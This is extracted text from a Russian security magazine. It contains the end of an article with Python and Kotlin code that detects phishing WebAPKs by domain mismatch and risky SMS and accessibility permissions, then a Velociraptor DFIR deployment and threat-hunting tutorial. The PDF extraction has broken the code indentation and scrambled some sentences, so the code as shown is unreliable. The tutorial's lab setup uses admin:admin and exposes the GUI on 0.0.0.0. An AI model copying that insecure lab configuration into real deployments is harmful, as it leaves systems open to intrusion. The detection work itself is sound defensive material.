                   manifest_path = os.path.join(tmpdir, "

AndroidManifest.xml")
                 if os.path.exists(manifest_path):

                      tree = ET.parse(manifest_path)
                      root = tree.getroot()

                      ns = "http://schemas.android.com/apk/res/android"

                       for perm in root.findall("uses-permission"):
                           name = perm.get(f"{{{ns}}}name", "")

                         if name:
                            result["permissions"].append(name)

                      app = root.find("application")
                        if app is not None:

                           for svc in app.findall("service"):
                            result["services"].append(

                                 svc.get(f"{{{ns}}}name", ""))
                           for rcv in app.findall("receiver"):

                            result["receivers"].append(
                                 rcv.get(f"{{{ns}}}name", ""))

           except Exception as e:
            print(f"  [!] Ошибка разбора AndroidManifest: {e}")

         return result

         def _get_cert_issuer(self, apk_path: str) -> str:
        """Получаем издателя сертификата подписи"""
        try:

              output = subprocess.check_output(
                   ["keytool", "-printcert", "-jarfile", apk_path],

                 stderr=subprocess.DEVNULL, timeout=15
             ).decode('utf-8', errors='replace')

               match = re.search(r"Issuer:\s+(.+)", output)
             if match:

                 return match.group(1).strip()
         except Exception:

            pass
         return ""

         def _get_package_name(self, apk_path: str) -> str:
        try:

              output = subprocess.check_output(
                   ["aapt", "dump", "badging", apk_path],

                 stderr=subprocess.DEVNULL, timeout=15
             ).decode('utf-8', errors='replace')

               match = re.search(r"package: name='([^']+)'", output)
             if match:

                 return match.group(1)
         except Exception:

            pass
         return ""

         def analyze_risk(self, info: WebApkInfo) -> WebApkInfo:
        """Оцениваем риск WebAPK"""

          score = 0
          flags = []

        # 1. Проверяем домен start_url
         if info.start_url:

              parsed = urlparse(info.start_url)
               domain = parsed.netloc.lower().replace("www.", "")

            # Проверяем соответствие имени приложения и домена
              app_name_lower = info.app_name.lower()

                for keyword, expected_domain in self.EXPECTED_DOMAINS.
items():

                   if keyword in app_name_lower:
                        if expected_domain not in domain:

                          score += 70
                        flags.append(
                            f"HIGH: Приложение '{info.app_name}' → "
                            f"домен '{domain}' ≠ ожидаемый '{
expected_domain}'"
                        )

            # HTTP вместо HTTPS
               if parsed.scheme != "https":

                  score += 50
                flags.append(f"HIGH: start_url использует HTTP")

        # 2. Анализируем разрешения
            for perm, perm_score in self.HIGH_RISK_PERMISSIONS.items():

               if perm in info.permissions:
                  short = perm.split(".")[-1]
                  score += perm_score

                flags.append(f"RISK+{perm_score}: разрешение {short}"
)

        # 3. Нетипичное количество компонентов
        # В легитимном Chrome shell WebAPK компонентов минимум

           if len(info.services) > 3:
              score += 25

            flags.append(f"MEDIUM: Много сервисов ({len(info.services
)})")

           if len(info.receivers) > 3:
              score += 25

            flags.append(f"MEDIUM: Много ресиверов ({len(info.
receivers)})")

          info.risk_score = score
          info.risk_flags = flags

         return info

     def scan_device_webapks(self,
                                 adb_device_id: Optional[str] = None) ->

list:
        """Сканируем WebAPK на подключенном Android-устройстве через 
ADB"""

          results = []
                 adb = ["adb"] + (["-s", adb_device_id] if adb_device_id else

[])

        try:
              output = subprocess.check_output(
                     adb + ["shell", "pm", "list", "packages",

                       "org.chromium.webapk"],
                timeout=30

             ).decode('utf-8', errors='replace')

               packages = [l.strip().replace("package:", "")
                             for l in output.splitlines() if l.strip()]

            print(f"[*] Найдено WebAPK: {len(packages)}")

               for pkg in packages:
                  path_out = subprocess.check_output(
                         adb + ["shell", "pm", "path", pkg],

                    timeout=15
                ).decode().strip()

                   if "package:" in path_out:
                       device_path = path_out.replace("package:", "").

strip()
                      local = f"/tmp/webapk_{pkg}.apk"

                    subprocess.run(
                            adb + ["pull", device_path, local],

                         capture_output=True, timeout=30
                    )

                     if os.path.exists(local):
                          info = self.extract_webapk_info(local)

                         if info:
                            results.append(self.analyze_risk(info))
                        os.remove(local)

           except Exception as e:
            print(f"[!] Ошибка: {e}")

         return results

         def generate_report(self, results: list) -> str:
           from datetime import datetime
          lines = [

              "=" * 70,
            "ОТЧЕТ АНАЛИЗА WebAPK",
            f"Дата: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}",
            f"Проверено: {len(results)} пакетов",

              "=" * 70,
        ]

           results.sort(key=lambda x: x.risk_score, reverse=True)

           for info in results:
               if info.risk_score >= 20:

                      level = ("🚨 КРИТИЧНО" if info.risk_score >= 80
                              else "⚠️  ВЫСОКИЙ" if info.risk_score >= 50
                          else "⚡ СРЕДНИЙ")

                  lines += [
                    f"\n{level} | Score: {info.risk_score}",
                    f"  Пакет:     {info.package_name}",
                    f"  Имя:       {info.app_name}",
                    f"  start_url: {info.start_url}",
                    f"  Подпись:   {info.cert_issuer}",
                    "  Флаги:",

                      ] + [f"    • {f}" for f in info.risk_flags]

         return "\n".join(lines)

 def main():
     import argparse
      parser = argparse.ArgumentParser(description="WebAPK Detector")
     parser.add_argument("--device", action="store_true",
                        help="Сканировать подключенное 
Android-устройство")
     parser.add_argument("--apk", help="Путь к APK файлу")
      args = parser.parse_args()

      detector = WebApkDetector()
      results = []

     if args.device:
          results = detector.scan_device_webapks()

     elif args.apk:
          info = detector.extract_webapk_info(args.apk)

         if info:
              results = [detector.analyze_risk(info)]

     if results:
        print(detector.generate_report(results))

   if __name__ == "__main__":
    main()

МОДУЛЬ ДЛЯ ANDROID НА KOTLIN (ВСТРАИВАНИЕ В
КОРПОРАТИВНЫЙ АГЕНТ)

// WebApkMonitor.kt
 package com.yourcompany.security.webapk

 import android.content.Context
 import android.content.pm.PackageManager
 import android.content.pm.PackageInfo
 import kotlinx.coroutines.*
 import org.json.JSONObject
 import java.util.zip.ZipFile

 data class WebApkScanResult(
      val packageName: String,
      val appLabel: String,
      val startUrl: String,
      val riskLevel: RiskLevel,
      val flags: List<String>
)

        enum class RiskLevel { CLEAN, MEDIUM, HIGH, CRITICAL }

     class WebApkMonitor(private val context: Context) {

      companion object {
             private const val WEBAPK_PREFIX = "org.chromium.webapk."
            private val MANIFEST_PATHS = listOf(

            "assets/webapk_info/manifest.json",
            "assets/manifest.json"
        )
        // Реальные банки из задокументированных атак + расширяемый 
список

            private val EXPECTED_DOMAINS = mapOf(
              "pko" to "pkobp.pl",        // PKO Bank Polski (первая 

атака, 2023)
              "otp" to "otpbank.hu",       // OTP Bank Hungary
              "tbc" to "tbcbank.ge",       // TBC Bank Georgia

              "сбербанк" to "sberbank.ru",
              "тинькофф" to "tinkoff.ru",

        )
    }

        suspend fun scanAllWebApks(): List<WebApkScanResult> =
         withContext(Dispatchers.IO) {

               val pm = context.packageManager
            pm.getInstalledPackages(

                 PackageManager.GET_PERMISSIONS or
                PackageManager.GET_SERVICES
            )

                   .filter { it.packageName.startsWith(WEBAPK_PREFIX) }
                   .map { analyzeWebApk(it) }

                   .sortedByDescending { it.riskLevel.ordinal }
        }

         private fun analyzeWebApk(pkgInfo: PackageInfo): WebApkScanResult
{

           val pm = context.packageManager
            val label = try {

            pm.getApplicationLabel(pkgInfo.applicationInfo).toString(
)

              } catch (e: Exception) { pkgInfo.packageName }

           val manifestData = readWebManifest(pkgInfo.applicationInfo.
sourceDir)

              val startUrl = manifestData?.optString("start_url", "") ?: ""

           val flags = mutableListOf<String>()
           var risk = RiskLevel.CLEAN

        // Проверяем несоответствие имени приложения и домена
          if (startUrl.isNotEmpty()) {

               val domain = extractDomain(startUrl)
               val labelLower = label.lowercase()

                 for ((kw, expected) in EXPECTED_DOMAINS) {
                        if (kw in labelLower && expected !in domain) {

                    flags.add("Несоответствие: '$label' → '$domain' (
ожидался '$expected')")

                       risk = maxOf(risk, RiskLevel.HIGH)
                }
            }

              if (startUrl.startsWith("http://")) {
                flags.add("Небезопасный протокол: HTTP вместо HTTPS")

                   risk = maxOf(risk, RiskLevel.HIGH)
            }
        }

        // Проверяем опасные разрешения
             val perms = pkgInfo.requestedPermissions?.toList() ?:

emptyList()
           val dangerousPerms = mapOf(

              "android.permission.RECEIVE_SMS" to RiskLevel.HIGH,
              "android.permission.READ_SMS" to RiskLevel.HIGH,
              "android.permission.SEND_SMS" to RiskLevel.CRITICAL,

              "android.permission.BIND_DEVICE_ADMIN" to RiskLevel.
CRITICAL,

              "android.permission.BIND_ACCESSIBILITY_SERVICE" to
RiskLevel.CRITICAL,
        )

             for ((perm, permRisk) in dangerousPerms) {
                if (perm in perms) {

                flags.add("Опасное разрешение: ${perm.
substringAfterLast(".")}")

                   risk = maxOf(risk, permRisk)
            }
        }

        // Нетипичное количество сервисов
             val svcCount = pkgInfo.services?.size ?: 0

            if (svcCount > 3) {
            flags.add("Много сервисов: $svcCount (норма ≤ 3 для 
WebAPK)")

               risk = maxOf(risk, RiskLevel.MEDIUM)
        }

    
 

        return WebApkScanResult(pkgInfo.packageName, label, startUrl,
risk, flags)
    }

         private fun readWebManifest(apkPath: String): JSONObject? =
         try {

               ZipFile(apkPath).use { zip ->
                MANIFEST_PATHS

                       .mapNotNull { zip.getEntry(it) }
                    .firstOrNull()

                       ?.let { entry ->
                        JSONObject(zip.getInputStream(entry).
bufferedReader().readText())
                    }
            }

              } catch (e: Exception) { null }

        private fun extractDomain(url: String) =
           try { java.net.URL(url).host.lowercase().removePrefix("www.")

}
             catch (e: Exception) { url }

}

ВЫВОДЫ

Переход от простого банковского фишинга к сложному инструменту сетевой
разведки и  обхода MFA демонстрирует пугающую адаптивность злоумыш‐
ленников. PWA и  WebAPK стали для  них идеальным вектором, который поз‐
воляет легально, используя стандартные возможности браузеров, устанав‐
ливать в системы шпионское ПО и бэкдоры.

Ответ Google в  виде верификации разработчиков APK лишь подстегнул
этот процесс, загнав злоумышленников в объятия еще более опасной и труд‐
нообнаруживаемой технологии PWA.

В 2026 году защита строится на трех китах:
1.  Пользователь — последний и самый важ‐

ный рубеж. Технические средства бессильны, если пользователь сам
нажимает «Разрешить».

Кибергигиена и образование.

2.  Невозможно полагать‐
ся только на сигнатуры; нужно анализировать,  приложение пос‐
ле установки, и блокировать опасные API на уровне браузера и ОС.

Поведенческий анализ и контроль приложений.

что делает

3.  Шифрованный трафик больше не  может

быть «терра инкогнита» для защитника. Инспекция SSL/TLS — обязатель‐
ное требование.

Глубокий сетевой контроль.

Технология, созданная для  удобства, превратилась в  мощное оружие.
И в 2026 году битва за безопасность окончательно сместилась с уровня при‐
ложений на  уровень поведения, сетевой аналитики и, что самое важное,
человеческого восприятия. © X
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ВЗЛОМ

Представь: тебе срочно нужно понять, что
происходило на  сервере ночью, или  про‐
верить десяток машин на  подозрительные
процессы. Раньше на  это уходили часы.
Velociraptor предлагает удобный путь:
задать системе вопрос и  сразу получить
ответ.

Я недавно познакомился с этим инструментом и удивился, насколько сильно
он меняет привычный подход к администрированию и расследованиям. Даль‐
ше  — мой опыт развертывания Velociraptor на  РЕД ОС, установка агентов
на  Windows, Linux и  macOS, включая Apple Silicon, а  также примеры охоты
и  полезные артефакты. Для  сисадминов это  способ всегда держать руку
на пульсе сети, для криминалистов — находить улики за считаные минуты.

ПРЕДЫСТОРИЯ

Помнишь времена, когда DFIR (Digital Forensics and  Incident Response) был
тяжел? Образы дисков, дампы оперативной памяти, мучительный разбор
в  сторонних инструментах... Подход был всеобъемлющим, но  медленным
и  расфокусированным. Философия «собери все, а  потом подумаем» уже
устарела. Ей на смену пришел целевой сбор (targeted acquisition): ты задаешь
системе правильный вопрос и сразу получаешь точный ответ.

Так из идеи, родившейся в недрах Google, и вырос Velociraptor. Это опен‐
сорс‑платформа, которая объединяет мощный язык запросов, гибкие арте‐
факты и централизованное управление, — по сути, «Google для твоих хостов».

ПЛЮСЫ

Мощь языка запросов VQL (Velociraptor Query Language) — сердце и главная
суперсила инструмента. С его помощью ты можешь на лету задавать системе
почти любые вопросы, не тратя время на сложные скрипты.

Универсальность VQL в  том, что один запрос может собирать данные
из  реестра, файловой системы, памяти, журналов событий (EVTX), а  также
информацию о процессах и сети — в общем, все, что ты укажешь, и сводить
это в один отчет.

Это очень гибкий подход: тебя не ограничивают предустановленные шаб‐
лоны. Если нужен специфичный сценарий  — например, найти все исполня‐
емые файлы, измененные за последние три дня и имеющие сетевые соеди‐
нения, — просто пишешь подходящий VQL-запрос или находишь его в сети.

Синтаксис VQL похож на SQL, так что многим спецам он сразу понятен: ты
делаешь  данных  какого‑то источника (плагина),  выпол‐

няется условие.

SELECT FROM WHERE

Артефакт — центральная сущность, в которую упакована VQL-логика инс‐
трумента. Velociraptor целиком опирается на артефакты. Что тут считать арте‐
фактом? Это YAML-файл с описанием:

 собирать — например, полный список записей автозагрузки;• что

 это собирать — какие VQL-запросы запускать на хосте;• как

как это   и   выводить, чтобы потом было удобно анализи‐

ровать.

• назвать куда

Плюс очевиден: в  открытом доступе есть огромная коллекция готовых арте‐
фактов под сотни задач — от сбора базовых DFIR-артефактов вроде набора
из  курса SANS FOR500  до  охоты за  конкретными семействами малвари. Ты
можешь использовать их как  есть, дорабатывать под  себя или  создавать
с нуля.

Гибкая модель развертывания
Работает это так.

 на  конечной точке разворачивается небольшой исполня‐
емый файл (Velociraptor client). Это не классический демон, который пос‐
тоянно висит в  памяти: агент можно запустить вручную, по  расписанию
или как службу — как тебе удобнее.

• Легкий агент:

 по  умолчанию агент ничего не  отправляет
сам. Он просыпается, опрашивает сервер на  наличие задач, выполняет
их — например, собирает артефакты — и возвращает результат. Это сни‐
жает нагрузку на сеть и помогает работать тише. Ты можешь не отвлекать
пользователя хоста, не засыпать его письмами с просьбами что‑то прис‐
лать и  не вникать в  его рабочий процесс, а  спокойно собирать нужные
для расследования данные. А уже потом проанализировать их и, если пот‐
ребуется, задать вопросы.

• Pull-модель (запрос‑ответ):

 все данные остаются на твоем сервере.

Никаких облачных подписок и  никакой утечки информации к  вендору  —
для многих организаций это критично. Информация о твоем разборе тоже
никуда не утечет.

• Полный контроль над данными:

Одно из самых больших преимуществ — это централизованное управле‐
ние с человеческим лицом (Web GUI)

В отличие от  многих консольных утилит, у  Velociraptor есть полноценный
веб‑интерфейс. В браузере проще запускать сбор и анализировать данные,
чем строить в терминале запросы к файлам.

В нем доступны:
 — пригодится, если ты настроил регулярный сбор артефак‐

тов: здесь видно все подключенные клиенты и  их базовую инвентариза‐
цию — ОС, пользователя и IP-адрес;

• обзор хостов

удобный : артефакты можно запускать на  одном, нес‐

кольких или сразу всех хостах в пару кликов;

• запуск коллекций

 — позволяет настроить регулярный сбор артефактов

для проактивного мониторинга;

• планировщик задач

  — дает возможность просматривать соб‐

ранные данные прямо в  браузере  — в  JSON и  таблицах, а  при необ‐
ходимости скачивать файлы без  передачи данных на  дополнительные
узлы.

• интерактивный анализатор

Невероятная скорость и точность
Это, пожалуй, главный плюс. Вместо того чтобы четыре часа сливать дамп
диска ради одного файла, ты за  двадцать секунд запускаешь артефакт
и  забираешь только то, что нужно. Например, файлы из  папки , соз‐

данные сегодня, записи автозагрузки из  всех возможных мест, список про‐
цессов с  загруженными DLL. И  все это  — с  хешами (MD5, SHA-256)
и метаданными. Расследование можно начинать сразу. Работа с инструмен‐
том напоминает упражнения на стрельбище: точность, мощность, скорость.

%TEMP%

Онлайн-инвентаризация и проактивный threat hunting
При постоянной установке Velociraptor превращается в  мощную платформу
для проактивной защиты. Если вести инвентаризацию непрерывно, ты всегда
будешь знать, что работает в  твоей сети: какое ПО  установлено, какие
обновления стоят и какое у тебя железо.

С помощью Velociraptor ты можешь и  охотиться за  угрозами. Например,
за  минуты, а  не за  дни массово проверить всю сеть на  конкретный IoC
(indicator of compromise): искать файл по хешу, запись в реестре или имя про‐
цесса. Для этого достаточно запустить такую задачу на агентах.

Velociraptor умеет мониторить события в  реальном времени: можно нас‐
троить артефакты, которые отслеживают, например, создание новых сер‐
висов или подключение USB-накопителей, и сразу присылают алерты.

Собранные данные — не черный ящик
Ты можешь просматривать их в удобных таблицах через GUI, экспортировать
в  JSON для  дальнейшей автоматической обработки в  SIEM или  SOAR, ска‐
чивать собранные бинарники  — например, подозрительные исполняемые
файлы  — для  углубленного анализа на  VirusTotal или  в песочнице, а  также
генерировать подробные отчеты для руководства и коллег.

Open Source и сообщество
Все прозрачно: ты можешь проверить любой механизм сбора данных.
Для incident response это критично. Если при сборе что‑то пошло не так, поп‐
равь запрос и запусти его заново.

За время жизни инструмента вокруг него выросла целая экосистема:
активное сообщество в соцсетях, сотни контрибьюторов, регулярные вебина‐
ры от создателя — Майкла Коэна (Michel Cohen). На официальном сайте пос‐
тоянно появляются новые артефакты и техники.

Похоже на серебряную пулю, правда? Или на таблетку от всех компьютерных
болезней? Во  многом так и  есть. Но  у любого мощного инструмента есть
свой порог входа и свои особенности, которые важно понять до внедрения.

Velociraptor  — это  фреймворк, а  не point-and-click-утилита. Его сила  —
в гибкости, но она требует понимания.

МИНУСЫ

 Чтобы выйти за рамки готовых артефактов, придется осво‐
ить VQL. На это нужны время и перестройка мышления. Плюс желательно
хотя  бы базово понимать, как  работают СУБД. Впрочем, если ты «бог»
SQL-запросов, этот минус для тебя вряд ли будет минусом.

• Порог входа.

 Здесь ты сам себе
и вендор, и DevOps-инженер. Придется думать о резервных копиях базы,
TLS-сертификатах и нагрузке на сеть при массовом сборе. Запросы тоже
лучше не раздувать: чем гибче их структура, тем проще с ними жить.

• Ответственность за  данные и  инфраструктуру.

 Это  не та штука, которую можно

просто включить и  забыть. Максимум пользы Velociraptor приносит, когда
ты активно им пользуешься и собираешь артефакты под свою среду. Если
работаешь с  ним регулярно, со  временем у  тебя появится набор своих
запросов: их можно быстро допиливать и  использовать дальше, а  не
начинать каждый раз с нуля.

• «Велик»  — не  коробочное решение.

Но эти минусы — обратная сторона его силы. Поэтому лучший способ понять
Velociraptor  — посмотреть, как  он работает на  практике. Давай развернем
тестовый сервер и выполним первый, но уже осмысленный запрос.

НАЧИНАЕМ

Настраиваем сервер
Сначала выбери платформу, на которой будешь разворачивать сервер: опре‐
дели, какая это будет система.

Скачай установочные файлы на   проекта или  возьми
их , где доступны все версии Velociraptor.

официальной странице
на GitHub

Я предпочитаю работать в  российском дистрибутиве РЕД ОС  — он очень
похож на RHEL, а у меня как раз развернут новый сервер. Сейчас план такой:
1. Открой терминал и  перейди в  root или  используй  для  команд,

которым нужны повышенные привилегии.
sudo

2. Скачай с GitHub последнюю версию Velociraptor для Linux (AMD64).
3. Распакуй архив, если он есть, или просто переименуй бинарник.
4. Выдай файлу права на выполнение.
5. Сгенерируй конфиг — в интерактивном режиме или без него.
6. Запусти сервер.
7. Запусти клиент. В  standalone-режиме клиент и  сервер стартуют вместе,

но здесь разберем раздельный запуск.

Запусти мастер настройки и  пройди интерактивную конфигурацию, вни‐
мательно отвечая на вопросы, — это важно.

sudo ./velociraptor config generate -i

Важно: если ты запустил Velociraptor на сервере без графического интерфей‐
са, разреши подключения к нему из веб‑браузера в своей сети.

Для этого я поправлю секцию GUI в конфиге сервера. Открываем конфиг
и вносим изменения.

nano server.config.yaml

В разделе GUI исправь  на  .127.0.0.1 0.0.0.0

После этого можно запустить сервер в интерактивном режиме. Сделаем это,
чтобы посмотреть, как он работает.

В этом случае команда запуска выглядит так:

./velociraptor --config server.config.yaml frontend -v

Если работаешь через sudo, не забывай писать  в начале команды.sudo

sudo ./velociraptor --config server.config.yaml frontend -v

Я работаю под  root  — сервер у  меня тестовый. В  проде так делать небезо‐
пасно, так что старайся не использовать root напрямую.

По логам сервера видно, что он запустился нормально: клиент получает
ответ  200. У  меня в  браузере уже открыт адрес 

, там сразу появилась страница входа с  формой

для учетных данных. При настройке я указал . У тебя адрес будет
другой — с IP или hostname сервера, где ты запускаешь Velociraptor.

https://server.
monitoring.test:8889/

admin:admin

После входа откроется главная страница в светлой теме. Мне она не нравит‐
ся, так что я сразу переключаюсь на темную. Настройки — в правом верхнем
углу окна. Там можно выбрать язык, но  русского нет, так что при  необ‐
ходимости используй перевод в  браузере. Еще  там настраивается часовой
пояс — удобно, чтобы потом не переводить время в уме.

Итак, сам по себе Velociraptor уже готов к работе, если ты исследуешь данные
в  офлайн‑режиме, что полезно для  разбора готовых файлов. Но  если тебе
нужны ответы на  вопросы от  машин в  сети, придется подготовить агенты.
Дальше разберем несколько примеров для  разных систем: Windows, Linux
(РЕД ОС) и macOS.

Чтобы подготовить клиентский файл для  машин, открой на  сервере
еще  один терминал либо останови Velociraptor сочетанием Ctrl-C и  переза‐
пусти его в фоне такой командой:

sudo nohup ./velociraptor --config server.config.yaml frontend > /
var/log/velociraptor.log 2>&1 &

Сервер перезапустится, и можно будет работать дальше.

Настраиваем клиенты
Готовим конфиг для клиентов. В каталоге с Velociraptor запусти команду, что‐
бы сгенерировать клиентский файл.

Я нахожусь в каталоге , и команда будет такой:/root/velociraptor

./velociraptor --config server.config.yaml config client > client.
config.yaml

Продолжение статьи →
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А вот как выглядит сгенерированный файл.

Этот текст можно копировать и  передавать на  хосты. Я сохраняю его
в файл — по сути, это копия конфига для дальнейшей передачи.

Настраиваем в Windows
Теперь переходим в  Windows. Скачай на  ПК установочный файл

, создай на  диске  папку

 и  положи туда конфиг и  BAT-файл для  запуска. Заодно пере‐
именуй скачанный .exe, чтобы его было удобнее запускать.

velociraptor-v0.75.6-windows-amd64.exe C
Velociraptor

Я скопировал экзешник, переименовал его и  написал BAT-файл с  таким
содержимым:

@echo off
echo Установка Velociraptor клиента...
velociraptor.exe --config client.config.yaml service install
sc start VelociraptorClient
echo Проверка статуса...
sc query VelociraptorClient
pause

Что это нам дает? На хосте мы создаем службу Velociraptor Client: она будет
собирать нужные нам логи. В завершение открой PowerShell от имени адми‐
нистратора и выполни

 cd C:\Velociraptor
     .\velociraptor.exe --config .\client.config.yaml service install -v

 Start-Service Velociraptor

Для проверки запускаю такую команду:

         Get-Service Velociraptor # Должен быть статус Running

После этого в веб‑интерфейсе появился первый клиент.

Настраиваем хост на Linux
Для Linux все почти так же. Скачиваю бинарник:

wget https://github.com/Velocidex/velociraptor/releases/download/v0.
75/velociraptor-v0.75.6-linux-amd64-musl

Переименую для удобства — так будет проще.

mv velociraptor-v0.75.6-linux-amd64-musl velociraptor

Делаю файл исполняемым:

chmod +x velociraptor

Копирую в нужный каталог:

sudo mv velociraptor /usr/local/bin/velociraptor

Ты можешь забрать конфиг с сервера через SCP или просто вставить в файл
текст конфига, который скопировал раньше, как я.

sudo nano /usr/local/bin/velociraptor/client.config.yaml

Затем создай на хосте демон, который будет запускаться и собирать данные.
Это пригодится, если хочешь постоянно присматривать за хостом.

sudo nano /etc/systemd/system/velociraptor-client.service

Копируй туда содержимое.

[Unit]
Description=Velociraptor Client
After=network.target

[Service]
Type=simple
User=root
ExecStart=/usr/local/bin/velociraptor --config /etc/velociraptor/
client.config.yaml client
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Затем активируй все по очереди такими командами:

sudo systemctl daemon-reload
sudo systemctl enable velociraptor-client
sudo systemctl start velociraptor-client
sudo systemctl status velociraptor-client

Немного ждем.

В веб‑браузере появился агент.

Настраиваем хост с macOS
Теперь про  macOS. Здесь важно учесть архитектуру: «классический» Intel
(x86_64) или  Apple Silicon из  M-серии (ARM), который ставят в  Mac
с 2020 года. У меня Mac Mini на M2.

К машине можно подключиться удаленно по SSH, так что установку и нас‐
тройку будем делать через терминал. В  целом шаги почти такие же, как  в
Linux, но с поправкой на macOS.

В терминале выполни

curl  -L -o velociraptor https://github.com/Velocidex/velociraptor/
releases/download/v0.75/velociraptor-v0.75.5-darwin-arm64

Или, если нужен вариант для Intel Mac:

curl  -L -o velociraptor https://github.com/Velocidex/velociraptor/
releases/download/v0.75.6/velociraptor-v0.75.6-darwin-amd64

Выдаем права на выполнение.

chmod +x velociraptor

Создаем директорию для конфига.

 sudo mkdir -p /etc/velociraptor

Создаем конфиг в нужном каталоге и вставляем в него текст с сервера.

sudo nano /etc/velociraptor/client.config.yaml

Выдаем нужные права.

sudo chmod 644 /etc/velociraptor/client.config.yaml

После этого установи службу этой командой и создай файл:

sudo nano /Library/LaunchDaemons/com.velocidex.velociraptor.client.
plist

Помести в файл такой текст:

 <?xml version="1.0" encoding="UTF-8"?>
<  !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.velocidex.velociraptor.client</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Users/$(whoami)/velociraptor/velociraptor</string>
        <string>config</string>
        <string>/etc/velociraptor/client.config.yaml</string>
        <string>client</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>StandardOutPath</key>
    <string>/var/log/velociraptor.log</string>
    <key>StandardErrorPath</key>
    <string>/var/log/velociraptor.log</string>
    <key>EnvironmentVariables</key>
    <dict>
        <key>PATH</key>
        <string>/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin</string>
    </dict>
</dict>
</plist>

Загружаем службу.

sudo launchctl load /Library/LaunchDaemons/com.velocidex.
velociraptor.client.plist

Запускаем.

sudo launchctl start com.velocidex.velociraptor.client

Проверяем статус — работает.

sudo launchctl list | grep velociraptor

В браузере появилось третье устройство — наш Mac Mini M2.

Начинаем охоту
У меня много устройств, поэтому для  наглядности я добавил на  сервер их
все — так «охоты» получаются разнообразнее и интереснее. Ты тоже можешь
добавить на  дашборд сколько угодно устройств. Я вообще считаю так: если
сервис умеет работать с  устройством, почему  бы сразу не  показать его
в мониторинге.

Плагины
У инструмента большое сообщество: энтузиасты регулярно выкладывают
собственные плагины. Например, я использовал готовый конфиг из 

.
Artifact

Exchange

Скачанный архив я загрузил через интерфейс сервера и  добавил в  кол‐
лекцию.

После добавления рядом с  подписью плагина появляется значок, который
показывает происхождение: плагин добавил пользователь. Всего добави‐
ли 302 артефакта — это очень неплохо.

ИНТЕРФЕЙС

Установка на  всех машинах прошла успешно  — можно начинать работать.
В итоге у меня получился большой парк устройств, за которыми я наблюдаю:
разные архитектуры, платформы, но без особого разнообразия среди Linux-
систем. Если тебе хочется больше вариантов, разверни клиенты в виртуаль‐
ных машинах  — VirtualBox, VMware, Hyper-V, Proxmox или  любом другом
средстве виртуализации. Ограничений тут, по сути, нет. Главное, чтобы хост
видел сервер по сети.

Обрати внимание на  индикатор слева: если хост активен и  может нор‐
мально общаться с сервером, горит зеленая «лампочка». Если видишь серый
треугольник с восклицательным знаком, значит, хост недоступен и результат
соберется только после того, как агент на хосте снова ответит.

Но как отличать хосты в списке, кроме имени? Как назначать задачи кон‐
кретным машинам, а не лить их на все подряд? Вопросы логичные: плагины
подходят не для каждого устройства.

Тут выручают метки  — Labels. Они помогают не  запутаться в  зоопарке
устройств и  дают гибко собирать задачи для  нужных хостов. Если прис‐
мотришься, на  своем сервере я завел несколько типов меток: архитектура,
ОС, домен или рабочая группа. Ты, конечно, можешь использовать и свои.

В левом верхнем углу есть поле поиска: через него удобно фильтровать
устройства. По умолчанию там стоит all. Минус тут, по сути, один: искать мож‐
но только по одной метке. По крайней мере, я не нашел способа задать сразу
несколько критериев.

Слева, на  вертикальной панели, есть вкладка Hunts с  иконкой прицела  —
через нее мы будем создавать задачи для  исследования. У  меня выбраны
устройства на Linux, поэтому я покажу простую задачу для сервера. Нажима‐
ем +, выбираем New Hunt, а  затем настраиваем параметры в  модальном
окне. Тут есть несколько важных моментов, разберем их по порядку.

Исследуем хост на Linux
Главное здесь  — информативность, так что заполняй поля как  можно под‐
робнее: это пригодится в первую очередь тебе самому. Для удобства добавь
теги (Tags), при  необходимости  — описание (Description), затем выбери,
к  каким хостам применять правило: укажи условие включения (Include
Condition), нужные метки (Include Labels) и  тип запуска (Exclude Condition +
Hunt State). После этого нажми кнопку внизу и переходи к следующему этапу.

Продолжение статьи →
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Вот тут начинается самое интересное  — выбор артефактов. Я буду искать
по ключевому слову Linux, но понимаю, что не все плагины подойдут, поэтому
выберу только те, что подходят под мой запрос.

В целом можно собрать набор артефактов, который даст хороший отчет
по системам и представит все в удобном виде.

Артефакт Что делает Зачем использовать

Linux.RHEL.Packages Собирает список пакетов,

установленных через DNF

или YUM

Помогает понять, какое

ПО стоит на хосте

Linux.Sys.Users Собирает информацию

о пользователях из 

: домашние каталоги,

группы и другие атрибуты

/etc/

passwd

Помогает проверить поль‐

зователей и заметить подоз‐

рительную активность

Linux.Ssh.PrivateKeys Ищет приватные SSH-ключи

в типичных местах и показы‐

вает, зашифрованы они

или нет

Удобно для поиска подоз‐

рительных ключей

Linux.Syslog.SSHLogin Анализирует журналы аутен‐

тификации и показывает все

попытки входа по SSH

Помогает выявить подоз‐

рительные логины

Linux.Carving.SSHLogs Проводит детальный разбор

SSH-логов

Подходит для поиска подоз‐

рительной активности и приз‐

наков разведки в системе

Linux.Sys.Crontab Показывает содержимое

crontab

Помогает найти подозритель‐

ные запланированные задачи

Linux.Sys.BashHistory Анализирует историю Bash Удобно для поиска нелеги‐

тимных команд в истории

оболочки

Linux.Detection.

CVE20214034

Ищет запущенные процессы

с признаками эксплуатации

CVE-2021-4034 и анализирует

события аутентификации.

Перечисляет root-процессы,

которые породили процессы

без root-прав. Для   и 

это нормально, но для других

процессов, особенно 

, может указывать

на эксплуатацию уязвимости

sudo su

/bin/

bash

Помогает найти попытки экс‐

плуатации по MITRE ATT&CK

Linux.Sys.Groups Выводит идентификаторы

групп пользователей в сис‐

теме

Помогает обнаружить подоз‐

рительные группы

Linux.Sys.LastUserLogin Находит и парсит системные

WTMP-файлы

Показывает последние входы

пользователей в систему

Linux.Detection.MemFD Анализирует файлы 

 и ищет процессы,

запущенные из памяти через

/proc/

*/exe

memfd_create()

Помогает выявить запуск про‐

цессов из ОЗУ

Linux.Detection.Yara.

Process

Запускает YARA-сканиро‐

вание по процессам в памяти

Подходит для поиска попыток

эксплуатации, которые можно

детектить правилами YARA

Linux.ExtractKthread Анализирует файлы и извле‐

кает значения, полезные

для поиска процес‐

сов-«самозванцев»

Помогает выявить подоз‐

рительную активность на эта‐

пе эксплуатации

Linux.Detection.

IncorrectPermissions

Ищет в системе файлы

